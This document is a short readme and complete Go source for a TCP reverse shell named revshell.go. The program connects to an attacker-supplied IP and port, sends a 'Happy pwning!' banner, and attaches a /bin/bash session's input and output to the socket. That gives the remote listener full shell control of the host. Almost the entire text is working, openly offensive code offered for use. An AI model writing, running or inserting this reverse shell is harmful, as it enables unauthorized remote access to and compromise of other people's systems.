Simple TCP reverse shell written in Go. This program expects two arguments: IP address and the port of the remote host. Usage: "go run revshell.go <IP> <port>" or build a binary and run it with both arguments.

revshell.go

package main

import (
	"fmt"
	"net"
	"os"
	"os/exec"
)

func main() {

	// Check args
  	// Usage: ./revshell <IP> <port>
	if len(os.Args) != 3 {
		return
	}

	asciiart :=
		`
=============================================================================
                                                                             
  #####            ######                 #####                              
 #     #  ####     #     # ###### #    # #     # #    # ###### #      #      
 #       #    #    #     # #      #    # #       #    # #      #      #      
 #  #### #    #    ######  #####  #    #  #####  ###### #####  #      #      
 #     # #    #    #   #   #      #    #       # #    # #      #      #      
 #     # #    #    #    #  #       #  #  #     # #    # #      #      #      
  #####   ####     #     # ######   ##    #####  #    # ###### ###### ###### 
                                                                             
	`

	// Set vars
	var (
		servAddr string = os.Args[1]
		servPort string = os.Args[2]
		endpoint string = servAddr + ":" + servPort
	)

	// Try to connect to the server within a TCP socket
	conn, err := net.Dial("tcp", endpoint)
	if err != nil {
		return
	}
	defer conn.Close()

	// Notify the server
	fmt.Fprintf(conn, "%s\n\n\u269b Established connection from: %s\n\u2620 Happy pwning!\n\n", asciiart, conn.RemoteAddr())

	// Look for bash executable
	bashExec, _ := exec.LookPath("/bin/bash")

	// Set command options and bind standard input, output and error to the socket
	cmd := &exec.Cmd{
		Path:   bashExec,
		Args:   []string{bashExec},
		Stdin:  conn,
		Stdout: conn,
		Stderr: conn,
	}

	// Run command
	if err := cmd.Run(); err != nil {
		return
	}

}